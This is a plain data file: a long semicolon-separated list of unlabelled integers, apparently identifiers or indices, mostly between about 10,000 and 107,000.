100815;43475;23129;104249;94215;49329;99089;86880;100655;90737;36301;85916;40849;84959;67168;80592;18966;66383;25860;100516;78070;53012;87735;66884;66226;87269;82832;35559;47117;21049;66273;11554;106880;33342;75974;64397;76338;54838;86264;58284;81242;20096;53764;95584;34041;24035;58384;24404;29939;88897;97418;33170;92825;66461;13854;86094;77208;24694;97321;13857;49676;43655;44140;41090;24648;27858;93090;58020;50809;71174;73997;13989;89806;80894;97169;15710;62299;101795;72910;75634;18559;78378;36211;21813;30515;30474;73098;104223;53007;45620;77285;96611;19052;77121;20651;59384;104863;76792;58620;70566;78716;102755;86788;23758;56368;97313;90133;99985;42724;61448;89490;30416;51365;95758;24205;14386;25263;64941;74099;105409;24872;33790;13207;96468;78145;22395;90153;57713;61615;21676;75257;10379;28153;54245;69117;99057;66889;92650;16038;17647;85135;71395;27524;105994;78898;51107;70861;93418;38609;72331;83887;51983;51120;80619;101285;14111;30482;99093;79173;32290;75678;52428;87588;41111;79131;106368;17700;76511;47809;20487;83267;89287;74130;34759;82028;86524;93250;10708;94008;34918;96391;59400;52861;43590;99278;83618;46849;106682;30122;24206;36317;59709;105991;89104;97172;82993;34780;82288;67814;36919;38519;46207;106546;66067;32017;49739;101071;83469;104527;106930;41537;60189;40508;101859;57402;96674;86343;19550;94066;99818;31084;36155;26990;87769;73221;18133;106683;100177;76641;60931;99276;91064;56269;46739;25731;104204;102353;85152;63059;35498;24989;19585;44679;21274;45043;48545;13385;69983;65417;74084;24001;87654;67444;75138;78050;14308;105555;24447;67149;81289;32442;49380;38345;95877;19467;32000;69947;19759;94160;62062;40179;23913;100867;19334;58368;79636;48734;68827;82010;44177;34539;94397;27032;38323;79933;81976;71108;83751;85166;63691;86950;47678;62471;32963;15435;31071;49824;36272;40501;45568;84402;39271;60444;102157;77132;87650;41329;13464;63304;58881;61281;57178;80566;101278;105957;93225;58521;105529;102073;51647;105673;80538;31065;78123;42178;58444;18679;40821;77662;35701;67268;31293;76536;20565;40287;74454;37223;31544;12082;79418;91179;65838;63658;15680;103467;82507;52755;44461;75861;91488;18425;34247;21380;66605;48499;83536;42532;106094;61130;31169;101892;26548;38502;85118;67860;19895;45313;42282;37489;16062;67224;90092;77141;34189;12060;38546;75583;87557;81593;62792;105942;43359;75901;90705;35596;46538;80090;25101;74818;77646;30032;32516;55629;44079;80194;59669;33237;20351;106838;19514;105320;42834;59266;18030;102921;23451;106340;66966;53192;23154;101931;54613;102805;61573;57599;74655;58311;55498;30985;46868;20086;93421;86485;32937;37438;27498;55976;27982;21332;200068;15886;57851;63909;83329;94814;50741;55077;30023;72149;78842;26236;56916;84467;21916;61623;31108;44723;12815;71717;14381;76973;54615;45247;20678;59906;52053;61987;60318;75140;52877;42528;34345;84306;91720;33148;11721;106313;103961;53761;79156;64879;13632;51474;89958;21511;29268;47002;97275;24147;47005;84762;58592;102366;93937;26117;22028;30363;79122;99681;49150;58648;10709;71751;89013;43740;72246;93005;59608;100725;44692;47588;87963;61681;47171;32997;53216;71902;76320;75792;38158;69757;64025;69206;56087;47743;43367;89266;47161;34060;17117;84253;30252;27576;82752;71959;49040;38538;87393;61677;48669;71992;66719;16269;55544;71464;88621;23369;34274;81099;36537;23511;17499;51231;35400;62262;29871;71988;48750;68431;93379;49726;78857;29500;46335;57690;16761;103634;91993;40424;21847;101888;97029;29906;25182;89826;51100;52866;13510;82521;96553;38982;64855;51693;46356;82043;85538;26141;81615;20308;30555;80677;63887;106463;71628;97705;38954;45484;43964;60975;55075;51670;86587;24195;10304;79720;28179;71601;10064;30314;78069;25482;94475;28753;10729;90853;53261;58817;48864;29151;103184;75517;22198;73040;45752;68164;16596;69638;54777;52807;45534;61347;87924;92934;75042;39579;95509;76851;77004;48654;84167;93117;81261;26376;86440;42393;44125;54582;68383;40339;49223;75035;70651;87135;107044;97133;19096;50756;34803;85223;57951;58738;60515;64763;100674;46071;91882;34774;27665;50247;19116;62765;43957;103570;60293;80399;47415;32892;65275;52626;65670;52572;13149;62934;15638;61678;22535;92183;72393;49160;25405;103254;58429;71069;84041;85546;99465;14199;17480;11933;45013;13217;18051;106273;94406;20516;16757;91264;30677;60226;32366;87421;46072;17276;83792;100922;11374;20825;85220;72676;77079;100114;63364;56639;78641;19623;48204;69761;39830;58089;37322;31540;38140;26085;24093;72109;71823;104605;77593;77611;17350;104240;66210;81819;93386;44401;72394;76850;72365;104199;68613;80694;106544;105875;61105;90509;71181;15118;46562;24663;86523;44820;32857;67960;27296;77663;50625;88735;88554;95456;61189;94240;58419;78914;27794;39686;87031;55416;47545;17270;75193;101303;100803;100518;103191;12690;38350;65765;26331;11688;34264;21421;51949;96033;67812;58565;71934;19264;80436;103760;93873;74652;84802;71452;72694;33289;103503;24401;67504;32111;56518;90411;104532;56117;61682;43718;73115;87246;90969;73520;68269;14248;22208;101201;42300;72629;43577;14644;10757;56194;29361;84644;28445;76873;81147;15982;61958;58983;93970;16588;72048;20593;74405;46498;89633;27856;30460;86840;70410;36052;18255;104778;105008;16806;21302;10407;34162;64476;73313;70204;86364;57898;59656;52803;28025;93769;66265;61956;100008;28020;67601;73797;64757;77811;86130;12020;104878;65255;105769;28960;23195;61232;67318;82969;49986;87829;52349;69255;105670;62904;61273;24014;90401;42946;72124;69736;75178;25307;64019;31247;56190;55817;42346;82149;60903;102075;11207;21733;14577;63254;94839;79235;89778;91894;36182;35321;105444;58851;16304;52555;97218;69750;74452;96308;77191;13843;41374;102968;20185;99551;95762;70987;105307;45891;19225;79176;17388;89279;67361;86676;89088;68349;104557;84353;56101;26423;55578;79909;30075;56727;66280;82050;78252;65820;72979;79904;31226;77742;12897;89429;84035;29764;96310;66969;64599;44097;90104;42506;94854;62335;57502;42521;103735;67848;89322;83194;63041;51930;67214;103350;85777;52135;75408;15194;46437;72500;61270;52494;86764;88388;13353;43612;43419;84651;57914;54213;48622;65304;85580;45679;95409;26210;104267;65006;68131;14607;85513;51450;97764;82611;54017;84065;76563;17060;30627;87376;58535;28065;200145;69349;30212;17138;106888;82530;33332;83572;28335;22530;34347;13870;70890;58913;70463;106115;44765;85231;99607;74266;46780;69067;84691;47348;35212;26989;60944;51465;23935;71861;82616;34314;77217;36748;54155;80511;32424;24470;63799;94134;52484;87727;17555;30615;20596;52234;45746;43994;25681;55064;59988;21980;53390;43399;79329;49166;21397;62880;29246;37795;78302;52144;74623;12517;33794;85969;17614;58716;54841;81721;35474;17258;84519;24117;91927;21964;96834;26991;29281;105318;91816;68114;99017;77780;35546;40263;91075;70205;18684;93839;13990;27842;66556;14394;72197;35832;30351;28537;91432;12726;60752;51532;63009;47057;100812;66188;76234;62342;32673;59509;11425;96575;83499;44007;100919;63409;63939;26237;18857;100362;76243;65675;88467;52407;86311;29287;62520;51322;48396;31982;45295;11985;18278;33882;71421;26465;16088;60290;97627;56105;99379;34047;90418;43494;91230;53383;78419;70577;74398;63399;44371;105913;45686;84503;14743;45231;27030;19468;93484;84729;99445;52510;30475;19543;106036;19466;12501;43850;58856;71232;13299;23266;93235;28304;44412;44033;44123;27688;97147;11771;85974;14150;65813;58047;56720;36477;77427;55950;36859;77051;94322;22122;102791;87534;91971;13889;75356;20846;33629;51973;94104;29773;12507;72846;38275;19331;77399;51427;12695;67817;102027;38424;84558;30233;81557;63774;35784;74847;45818;35169;35500;106588;45506;70695;74946;20558;41227;28677;103110;39966;17356;73326;68013;44920;21069;73786;92037;73779;85519;47333;27722;46001;65688;80526;11004;106009;101091;12801;22781;19289;105578;85150;96534;64102;39408;38157;14047;89209;35373;101470;46313;26467;47272;86539;47362;35713;53515;34984;53733;97347;50308;35411;102616;100726;44718;39027;89791;42357;59212;53102;71521;50848;73535;103597;59522;22357;91143;31466;34507;51808;96808;96927;74871;15599;22217;74177;20769;42390;102525;91624;82013;65750;74578;66066;42914;40953;39914;95279;24355;22430;39045;65295;35574;94227;73513;73979;27089;60210;90223;94024;15621;97214;48906;24012;36091;93870;29407;41929;47291;45085;46323;16641;23521;105040;53157;57888;41599;87449;96109;46443;84471;19408;75082;30203;99535;50597;70306;69748;56997;46064;60320;25922;14931;29584;83048;96295;28805;92277;41697;57584;79586;48794;30986;36397;106532;31464;61263;88856;21491;34052;54651;81949;27672;82087;90052;31369;51538;60842;100499;50641;24798;92700;62017;18177;37213;96731;16700;17582;69880;10947;82535;85984;23405;60774;86585;21853;104272;86757;64125;29205;59015;72089;95300;48814;65990;32334;14895;41387;35001;70341;67743;56756;92106;35916;99933;97989;55637;49440;89018;80172;10114;66267;89900;83168;56466;80233;100645;52235;88901;30530;82172;73129;51454;92886;92870;62030;55879;74318;104189;20640;75442;66085;90962;44640;78355;16709;82029;24163;71926;14768;15884;39859;44994;200057;92386;93048;21227;19813;57517;106206;42610;28628;73329;102011;101909;24013;93763;26061;28053;16824;88469;67364;40810;11921;75387;19700;62656;83904;17606;38709;57407;28188;21640;20888;69851;34329;70455;31556;84492;27225;26610;85562;29264;47868;23551;95454;30603;15999;74366;103287;21773;87852;58650;65790;62788;17479;25357;58386;19451;33715;84442;93579;24703;52512;104974;47701;92884;94808;94408;36220;72057;26784;42263;91212;73434;82786;93604;53276;81475;61709;72103;15658;76377;33470;68767;37495;97331;63679;68933;20149;94040;64821;93942;20917;106064;15476;47392;72498;10636;75191;56169;53850;69133;42423;100652;90473;25658;54663;104494;29222;106475;103901;47440;54501;18475;26272;77464;69510;74513;47360;35140;85330;22786;19932;12199;68057;97262;35449;100452;47178;49511;50752;46489;66883;35925;48954;91118;25012;82594;33400;80205;103137;85680;82246;70868;68998;63339;47443;26077;61565;66419;84188;14624;39272;101520;74967;90469;78219;45400;67366;82970;90360;75006;90958;85851;12462;85688;45405;62830;14917;23538;28864;10458;56895;97527;41536;103536;87725;76019;79513;106144;20537;23604;60532;79483;25062;35135;28920;47164;87322;10104;55929;29292;76117;56787;22700;67640;24582;85987;34917;18076;94255;28661;72842;74322;51708;105284;42469;82254;14056;46677;93426;43422;51717;86538;66213;62734;77358;42769;67409;85169;85972;70870;77346;39224;91340;67228;81382;19458;105731;77826;75174;80533;47445;11713;31951;20183;85698;84689;15896;40295;60840;67482;63992;69835;52975;16284;24768;80950;31032;70441;79854;29518;100282;34353;94847;105955;96911;78771;96020;30209;72446;14612;100223;101914;85989;51093;12491;26318;82482;102807;94699;88478;74802;100039;59703;15645;95542;77880;47797;38170;17346;31988;14062;25016;68053;47354;65025;103349;76617;104697;90691;27260;49061;93621;87915;80785;24044;78176;36367;67406;77024;62522;28809;17688;37454;27714;93779;41587;104375;40200;76896;92075;99789;44944;104143;103179;21091;62054;104534;84488;66701;46030;49311;94828;56963;101545;27149;55363;29139;44336;101245;19664;82921;37704;44345;34843;29842;29482;80777;106012;12771;11493;103983;26135;17344;25314;67052;84502;96509;57060;34436;17799;14028;19439;53119;44511;43194;57981;91531;96985;59774;92231;11639;72233;70650;12833;200124;18225;79662;81857;67697;83608;76551;89366;14941;42529;94443;21497;17734;81804;102813;76482;13197;58040;50698;20389;30241;14304;96545;14071;26717;20246;27865;21688;68549;106035;84800;87242;46090;25610;64685;102531;67385;76459;96571;32621;100844;31192;82492;62488;22729;29130;35775;70098;42703;25970;76444;74455;37475;38571;40286;66759;67054;54196;15952;92174;92788;70875;81444;32406;63793;63701;48170;81182;92809;27572;96660;22896;102285;72933;22471;94692;76608;28152;11473;69235;42853;87818;49128;34788;64016;16233;49447;43257;39268;64796;80912;25612;106751;69185;88833;76647;200039;84520;73260;50825;30799;69839;19352;94313;25976;31231;60872;99004;103202;100738;97712;23012;16987;84990;49444;32527;69016;88482;67573;65131;65151;74844;14549;84001;52172;30012;105928;66242;93528;41972;47575;16424;15801;95314;71346;91813;92222;29958;92079;78791;39297;43133;10826;63473;16751;75751;101178;67101;104144;101117;95792;86088;55374;41762;58537;90304;100587;79533;50675;46089;39024;28936;34238;41917;57216;66344;32985;23691;49452;39964;13429;13090;67777;93183;70647;28746;102946;81335;56403;26348;46940;54827;73281;12413;81137;92372;37496;10341;22169;102313;29661;88155;76054;43855;69389;75626;44463;25540;82194;57604;67363;104136;74774;10441;40213;68085;14004;84103;45663;29360;36950;60034;35562;10076;18327;33640;32260;73471;87406;102059;93812;22294;76335;57438;50764;13387;76795;32607;64074;84607;18795;94353;57270;100192;25121;97780;96492;66689;24521;42180;77159;58642;11786;71687;44427;76415;38093;57180;23599;23199;78428;106553;63403;34447;77268;62588;90776;21405;33465;42932;81262;68003;58971;14634;72631;59213;90003;68040;62577;82121;87144;104994;63094;101765;63830;31220;91652;90708;91622;38452;63297;29492;17141;33067;10778;18405;41192;82456;70043;25715;97861;15977;13717;38304;93693;80462;94270;100612;32376;30804;77731;82374;56910;18332;105255;22846;93223;88057;50938;90954;78585;20772;104864;96629;33114;29728;77030;94320;46133;62808;105773;24562;101341;104063;95031;58865;19607;72443;82157;41259;87348;35601;80254;105327;73243;34093;50232;69976;91127;95856;17746;55534;60112;93220;57657;101239;21035;39497;79815;32864;16576;96241;63510;54222;29462;88706;62580;25804;83515;44828;89562;84969;31741;33182;72108;77407;11702;74446;97333;53135;55434;17577;44246;20635;84562;31305;89248;79782;63594;40732;10083;24854;83407;65848;51302;93440;101374;81510;96024;28525;36535;22181;92591;76260;53294;57541;23803;68156;42420;79253;34387;85686;23384;36777;39439;39760;105785;59792;26866;74751;86118;64065;40415;89907;81714;64615;54300;29847;86509;104535;48700;86266;35064;43527;12723;53161;74248;42025;86339;34461;17588;35167;97303;51370;39405;86867;18907;63582;54677;85171;44236;70805;62001;14098;92054;19477;13528;25516;63196;91241;103358;69397;44797;64728;49202;64791;94192;84799;38955;67242;62328;48795;82497;11943;25591;65474;23257;60862;75656;88174;73662;62558;26499;105132;33986;104967;39155;32850;22975;88631;26166;48361;103295;42228;103789;94311;36579;106594;102375;100722;64558;23801;26505;21646;62679;45140;93851;105917;72683;25873;82193;21522;80028;23232;76901;72285;56229;88010;43063;95928;97211;103575;25725;57728;26722;29431;23386;97730;20324;25343;43259;106429;36573;20648;61302;46280;21392;26201;61935;59466;27893;83602;33243;94121;24921;57155;107132;77566;29946;30253;87625;26627;40635;99032;62377;51788;36102;35077;20442;86836;33676;28326;103494;54382;66567;29085;57838;18646;46511;37793;102820;35978;47582;63317;55343;93859;86750;10223;37975;101785;28379;70838;70446;51456;38683;36138;36536;89670;81943;40086;100119;96866;29094;59186;64936;71351;68883;85752;45801;38543;64289;65603;83071;15050;93563;49502;50492;51741;66254;36057;62150;15663;37917;34744;73493;15170;14417;49995;83341;30838;67093;30508;71457;82207;51249;71253;63092;65782;14146;65770;27221;49655;65858;104472;72615;15631;35265;71566;100172;89951;67585;42483;63313;38159;15056;40797;53687;56741;86120;16819;101330;10065;66861;35527;102590;13540;76926;93547;84347;24637;85881;79072;81925;78013;97922;15025;94273;40202;84695;84693;63786;105483;75113;42062;22748;101338;106825;81709;20760;13455;103991;51545;103703;10473;80315;78814;84449;99357;50009;63936;38815;50610;57825;54626;12010;11302;94032;75103;106235;85796;16410;72961;24488;74034;35737;33178;46106;54840;106334;62161;25888;46471;32664;45486;33395;64515;34775;65132;38500;102849;90569;72998;10258;68832;90932;93622;66183;71306;99329;16540;90615;17747;93262;99919;87647;45864;26252;19360;83837;72569;46314;54639;71955;78952;19914;22286;106005;53279;92134;48572;93749;55070;77778;46353;44888;57002;56338;29152;14864;33699;60555;18144;83207;43319;89868;37725;99490;63043;43059;22126;91999;43631;71828;99077;22058;95695;78897;63075;16847;31427;28747;18704;70622;83400;36312;29012;44322;67401;76365;13411;37743;89444;66209;48909;11431;88695;97090;22870;45614;25545;61844;28862;18622;48460;44610;25022;70225;28748;21557;81144;15174;70089;45849;96765;71518;66031;35144;30036;88638;75732;103129;51452;79543;74521;74382;60689;93347;30497;57969;23631;35111;100009;36359;106986;85749;35768;86721;96251;82872;11147;80247;96569;70624;32938;33821;97610;74107;30138;91711;91034;106452;36193;44830;21832;20982;53489;105140;41503;58898;18509;46074;76380;56431;49038;99909;61552;56775;76717;71399;90888;32746;58031;40010;83402;87854;102370;44409;31905;28751;40645;65129;26320;35469;29561;64129;14553;48849;55885;74517;17194;87706;101214;29845;43185;71288;67968;55398;96633;32650;53745;67937;73394;95304;15249;73421;58882;11009;37148;16259;94329;12544;61090;74918;105985;57465;102377;10972;21173;12632;42592;19398;21005;56491;69061;61867;66277;15402;19620;11212;16257;70207;54081;77172;22197;46808;99407;54385;44295;26305;73364;94344;91714;21718;44970;43719;55286;48616;75785;71568;60871;64052;46485;24975;104357;54035;31551;90170;83991;24918;41218;70552;67326;44722;90574;19106;63083;40803;79423;80363;29211;67897;93493;62973;75764;95553;25998;40568;76113;94467;41005;86991;68147;99021;32298;46216;55792;83089;24912;37183;99398;22989;19563;70438;106710;44595;51751;61372;65309;48169;102402;45205;34782;11501;99921;48736;61388;34418;41211;73026;59067;86908;50259;32546;39783;18881;82238;74332;91476;48248;48205;56750;32035;32890;46321;94918;54984;14449;53993;80733;95704;39801;37469;76691;40802;18700;103351;33884;90217;72336;102439;40818;65189;41971;14934;60926;93253;32970;77488;102850;93004;30629;25441;66608;20273;11232;45503;52252;74163;56246;36478;101792;42148;58883;79165;90994;36910;66927;104408;104195;25007;34248;62234;47188;64379;89888;46199;78648;31202;28102;86068;14500;58257;55005;30364;82919;71736;25262;71980;51042;45919;29599;20746;27295;63287;38198;83892;13423;37641;91138;103829;70396;70100;71957;15443;81750;21044;69327;31575;30815;93795;82470;14906;28106;82074;47783;22744;93236;23570;41632;22067;12453;100104;29394;95709;87188;82971;55893;103073;105707;92532;60890;60861;16807;56759;38320;42145;71659;23656;27995;12789;79378;37358;87448;71125;97342;28254;13710;92446;11205;29471;105077;42573;34754;38696;12073;81978;48598;32868;105043;16068;42782;41770;103813;55466;94981;27314;24565;95033;33252;75781;88563;94829;38313;67782;27067;72406;48330;60831;91982;62667;91708;26833;50710;41236;105853;24079;94149;60314;23121;17068;95271;35993;31140;46276;79498;96914;12984;60325;22053;46366;106125;72603;91102;96453;101003;49446;87191;22261;37841;37570;42790;35014;72781;84108;97894;57815;52718;11545;91281;68553;17063;23988;51245;47758;25639;88666;26083;70114;68708;57757;76598;61018;64608;65058;92498;32314;20671;22472;66396;71078;61192;100751;103545;44538;74492;15676;13847;20373;17568;73661;49927;103370;65595;85449;42264;39440;42322;79638;25161;46935;65639;75190;52996;100566;14921;56197;51627;97492;55403;66106;106778;20509;19919;92078;32438;22745;79220;51276;30389;90655;55248;37099;96491;72119;85368;79932;88117;26107;15915;32355;103660;102355;65228;99795;21180;16323;81958;63655;25145;14095;56502;38062;38416;100252;102387;17353;91338;28466;12428;53914;61321;59502;25088;61460;85958;41834;32268;59916;106026;31999;24886;58091;52891;53061;47632;92165;23327;75251;24518;79545;19120;97240;100880;21961;73199;10068;26711;52721;16286;102594;68962;21836;22674;56280;28246;91631;15600;34607;104796;68765;58147;99426;19996;51225;52109;34304;64408;32498;77038;64785;100024;82315;93965;97023;82249;15741;63385;39154;101144;11727;52459;93355;23542;35674;31561;44032;67633;58853;34916;80571;59836;82804;78301;57540;63183;24797;28488;59404;26314;80346;57918;58043;23182;77513;94755;49233;25339;35165;38360;37810;62439;12523;23033;42872;35963;73423;86756;73450;45792;75586;58657;25485;87938;71460;83075;68125;19963;84612;41870;61114;97485;93835;105662;79966;57585;88456;57119;27000;106258;74786;26773;39802;95502;36038;76030;13559;96356;23683;78088;13602;85558;18349;31672;20100;101370;19438;32654;24062;25233;15208;93490;63376;69252;72526;31599;103221;52226;65405;46282;104076;36968;12265;48699;69669;13291;31136;90728;51756;55981;93585;14988;16382;58490;50063;46705;61626;16189;41521;72691;99738;58270;63902;60075;91742;57865;63634;69690;37635;15323;22931;96382;79911;51036;40646;53937;69262;102145;13913;29874;40888;21464;52645;47497;24193;73950;30732;25927;79001;61861;57238;14674;66658;62191;32118;50572;56029;76569;26980;66217;107068;57872;61291;101170;106227;17454;104179;26327;35339;51816;46735;17713;15153;52796;22840;21657;75180;42562;37302;58169;64076;74594;21970;35289;29403;85348;61775;10478;72587;65402;79688;49842;106496;81880;32502;106394;67649;50346;94137;47053;52734;78492;91836;54479;72218;32578;43857;74900;30809;13573;80992;41103;71003;66076;77186;31473;35647;25785;107100;73570;46058;91583;37376;59248;26413;47012;37887;70656;94577;45862;63239;25887;106533;78459;46760;73237;65709;48468;42756;30632;24272;97197;62442;42644;35043;56848;54656;67382;51307;96142;12342;88379;82038;82561;61713;46543;24396;50474;19146;22499;96327;103470;101321;105311;74172;92805;86159;52860;100218;23778;54773;83002;101115;81835;59468;104328;27175;80610;93583;54865;57225;63072;99869;47476;52814;97471;54879;74604;24805;31785;39981;26918;26782;71741;76498;32852;105903;43919;60873;68551;69355;39012;75454;89196;106067;91820;21363;33143;73204;63120;100003;64601;75658;27054;53624;71285;106030;18830;106936;32562;47796;105306;88086;94983;30947;28857;66438;24256;90893;31196;52468;65540;40908;72669;35034;96332;90964;35612;31115;200135;22995;11018;50054;74401;44776;86752;19085;36492;83312;38636;24808;15668;74415;83958;35665;77321;57557;96254;92506;76614;40690;106393;79776;61508;100129;58025;85956;80337;30592;59306;90376;70826;24303;97134;34201;71558;100851;85052;19249;57128;57356;49146;23082;30617;21627;26683;101188;39476;46838;46816;41660;61277;42375;38045;66624;31204;33458;91345;76470;90810;85990;101011;89754;76271;70595;58609;45050;37759;51152;93832;45489;46018;11744;88069;99717;79453;22283;12213;81494;42288;96833;47751;43733;39055;19773;88877;42791;66885;84678;107000;53634;33621;24444;60084;25455;50161;32574;84916;19533;49867;28323;82540;30638;11762;87234;86834;76164;19496;43914;29623;79289;92634;103459;48762;57732;43478;62394;21432;90131;85654;42767;35025;53862;33804;92676;79277;89770;32743;41291;38146;39925;16721;55915;48393;20253;71582;91409;20451;23858;39858;92433;82105;90631;32622;106708;90625;39665;36593;34781;13137;78735;88985;92450;11700;77869;106312;65898;21184;71185;104415;78985;45423;72076;50469;84248;49593;55411;60896;64420;79891;57797;12588;90740;56142;29954;54947;106446;15394;65072;106143;26862;89541;28939;19690;28796;10399;106247;82032;55969;79067;92312;51194;63119;44897;47485;19845;69846;76994;45376;41338;12396;79506;63926;16566;30953;57895;68022;82933;50635;82811;43427;28739;20175;100087;10854;79798;73322;99611;76010;55914;101724;84791;64689;81666;40578;28001;49872;92390;52623;71697;44989;99811;27167;12866;68867;48349;75437;92973;91605;26009;16429;19044;83794;80290;59080;27792;16364;92323;54556;62368;20245;71341;35767;43273;35865;51837;93187;33487;16879;72360;84733;99509;87081;84272;41431;51897;68021;41232;102226;106827;50217;46921;55410;77152;96227;35969;84887;41592;101143;26677;101729;22743;13053;91948;61375;34409;47892;72059;102523;49791;16474;65039;49095;56092;89096;14543;81364;53825;34703;59927;77519;34385;89690;76430;60566;27719;103687;52950;92407;81014;85789;31552;42952;34267;31439;81431;97999;70841;73688;58105;18249;10655;61969;62612;69593;50897;35401;35597;41674;13605;64540;93681;71238;32905;49021;34156;34836;81282;82599;34584;67843;59112;28059;42336;77649;68943;31968;55396;39188;106185;42598;10512;78400;93025;84595;101200;26513;17493;17197;32439;17529;38676;83253;46695;71373;35439;53372;87099;22452;62143;83276;18761;38948;76956;26681;84852;36647;50380;89237;106587;42081;10665;104824;40759;24903;61349;54431;23202;95837;24718;14997;46737;63912;48933;12575;45554;105058;96271;82414;76754;102654;23996;84196;69483;14991;69057;35956;77717;25501;78674;89548;18385;50973;75615;89468;93192;57614;54652;80999;100015;95422;33277;22231;80765;27746;103117;80403;23583;83513;52905;94620;87162;14401;63743;42031;64580;28349;50200;99569;13706;85018;58474;88734;36725;90236;100843;58041;66541;72666;56579;51143;52766;14093;52865;45207;57203;35355;74384;16963;36204;42325;79518;26522;103707;84367;42275;44553;46325;10693;66513;77363;35949;14545;52272;41546;105262;94618;79695;68012;89387;82444;83008;63111;61008;85748;42412;74556;92238;58788;61420;21322;32110;62824;39293;30301;64339;105866;58418;54053;39835;46317;85609;48416;80442;102962;96525;67530;80257;56479;24190;33490;65471;52783;76557;81376;63890;61854;73236;102406;20166;27424;23477;28911;94037;71830;94563;100081;93329;19086;47208;35260;76520;85618;73361;86250;107060;58702;45901;14690;59243;78397;106431;81021;55573;66283;91100;87454;69448;77032;19175;41629;22765;45255;103927;41470;14129;16637;54142;25986;76963;63232;49157;46159;46565;46331;69144;61483;51699;78109;58506;102621;94065;50184;40910;25924;15562;32919;28242;36450;19221;67759;23877;24106;84434;27464;42102;72364;38742;92214;63273;38992;29810;26072;97719;60626;75311;96300;67739;66634;72250;49569;19861;70613;20692;60750;24577;19947;50477;80481;100986;81351;41250;105269;56650;46619;65329;90561;45603;79818;37541;106294;31667;30978;70519;21649;65744;11737;42238;37786;11778;81512;10147;20211;28692;41421;71644;72407;75218;18655;59166;28478;71038;65602;79795;103084;83715;64451;106907;92529;56322;29355;101928;67972;40498;80122;35867;72445;78620;73274;34481;43408;97909;92645;14839;49079;11573;57350;56575;77505;31648;47598;64474;93177;67272;18077;26159;71158;96941;78331;44189;33762;35375;92607;22886;65651;24906;55693;14949;81891;78290;75665;72884;62154;58941;59035;81330;71942;19413;47682;89483;28395;86720;94188;64050;77508;30845;59729;51135;103078;14088;19017;39011;56844;85016;56347;91736;27942;51748;95021;34688;54516;104310;103889;32947;60272;14022;81851;42266;85040;99552;58503;12813;65807;20925;97469;91042;75188;17402;65145;37176;13066;84807;105720;61393;20424;14725;91953;36185;50659;48565;56008;11522;48959;58206;63797;56436;82910;102456;11615;23695;84973;84483;89035;72738;82389;41498;46682;34765;74540;20156;81708;76501;64874;41911;64361;19942;39522;79934;15028;51357;63243;96673;79090;100293;93367;92099;63298;100047;83526;65996;67895;72775;78709;53901;27759;81123;69671;54098;42536;103006;15441;83855;100960;18803;87420;68478;90060;17818;58437;44540;31516;29658;28091;11667;64934;15885;62490;26485;40347;86092;106165;53647;13272;33274;16219;95520;53431;40230;24977;48655;27365;12651;60956;86113;88943;91181;106241;102186;100417;56927;29928;43334;85614;17234;73743;34657;65335;77877;80755;71197;33245;89454;77396;39495;101265;28949;102974;78517;42523;37708;37465;24414;104688;33967;94379;106344;18502;74242;82452;102809;58197;59415;82186;95565;14559;73622;42761;24661;72374;32319;11459;95886;22060;67756;48760;23831;92621;25651;84105;93114;40913;54563;20849;62485;91592;10498;106819;70951;62932;18102;54195;63479;100493;77818;14151;43654;31656;95988;37647;16408;82171;77286;84101;27060;65810;74709;77729;27867;25013;33655;79317;33610;73982;37578;41519;62772;79630;39768;77410;63030;53062;51047;94858;31048;33150;30756;90192;26518;52809;48641;34564;62839;61023;17808;14014;17089;70449;91370;42335;104776;57955;18829;45112;87533;75954;92517;88079;31381;104900;104908;105890;92560;92699;49863;24847;67858;11836;40778;56932;41299;78690;25925;95779;72888;59960;62494;78434;84329;34779;36768;96841;54606;77226;44697;84663;25335;62333;95532;25431;105234;92775;49375;35042;103258;44129;54182;43084;66760;69437;80155;57610;104305;104476;73847;24046;51252;36283;37299;88849;58540;31947;64354;80468;28509;53384;61651;100730;18376;82707;32055;96010;86370;51849;41487;13027;92187;27802;31318;43097;47041;12522;47287;83631;61461;104368;90897;64042;25187;10058;95434;48798;45168;12441;86892;103486;33569;100939;11472;64876;16997;78580;96297;86607;105203;28183;50415;25392;90920;73812;89566;77142;24485;50490;23303;11024;102331;46021;101244;18574;55218;31215;32617;57886;36575;100253;11134;66751;104687;33667;95483;20663;55655;28757;106388;74114;100491;64592;62921;48563;36445;36276;34797;89102;30539;44135;62858;17243;83030;13723;16106;83915;24795;21413;97247;37861;38380;69812;21470;80919;12309;46792;49649;69376;94133;101241;38564;32904;100618;102340;94049;89937;42366;70026;56310;84356;86427;74579;84759;87021;69509;105198;15006;40745;11314;95685;79922;94570;43196;23059;90742;14414;106326;92197;26699;13709;65306;81646;19176;104941;67384;67365;92459;72653;83983;23722;69170;74529;62066;39883;91891;35989;91173;53339;88051;78765;59010;86010;70633;38746;84898;69776;78604;51124;58149;106771;65726;56983;79683;81183;73428;47261;65286;88559;45375;74763;60617;69319;103495;12308;89687;36840;103446;64462;27998;79031;89257;94742;16678;15493;38559;33584;58915;82718;47025;74198;67432;100031;95941;38582;41951;33261;105161;35152;29701;75284;44846;34593;103921;23226;61099;79530;99751;56674;104761;36217;75929;83443;44749;78893;23065;101014;26097;77046;68746;77029;55913;34088;86797;106169;107126;28521;75979;12208;89714;70088;22021;62214;16606;92116;58378;62449;82205;104790;52292;49549;28446;68388;81716;51989;23649;105099;29577;30983;81274;60328;65541;88916;35850;78775;81359;22560;49481;97592;28927;83698;18610;81453;40495;19641;46607;71439;42283;58077;34582;82245;59801;54463;77318;17265;104631;92874;49679;14319;66098;54229;65296;48289;30525;30784;51690;100488;25712;11078;28110;10442;82095;20720;74211;106370;64134;99995;64813;96197;28673;12860;17759;59744;68914;14395;48943;52042;19196;92003;75511;16367;89776;12364;72272;66455;60177;100717;105608;59618;104159;49501;32690;83689;52685;28124;22682;32223;55852;44012;29691;52805;94278;54997;88781;19866;33887;57406;75692;23325;12808;68202;104000;105115;73616;48704;23281;30826;93291;37634;17632;38602;73036;21732;34940;89616;56014;78328;70037;70024;10297;105992;86162;58637;24083;64283;58673;47879;12600;76443;50182;40126;25390;61253;11913;24252;52744;78177;12538;104529;12972;75297;82156;52613;56038;10089;96213;39173;93677;15468;60528;12333;27522;14029;15792;27721;93059;23320;103338;78633;96186;84827;49630;67469;68857;38889;34493;81816;85736;88705;38156;92698;64604;54134;30476;105381;62618;10205;106179;71875;26438;32403;95606;79441;48373;62649;76826;82422;11441;82549;74971;81365;49462;34658;104959;60162;76915;13987;43127;97642;73017;56022;63040;90203;21893;28712;14195;15574;100187;28998;56866;24586;94958;10317;73853;24087;57789;55401;76767;15770;81259;96133;62230;65319;71320;95859;86389;19764;16836;69438;54709;25308;16195;51979;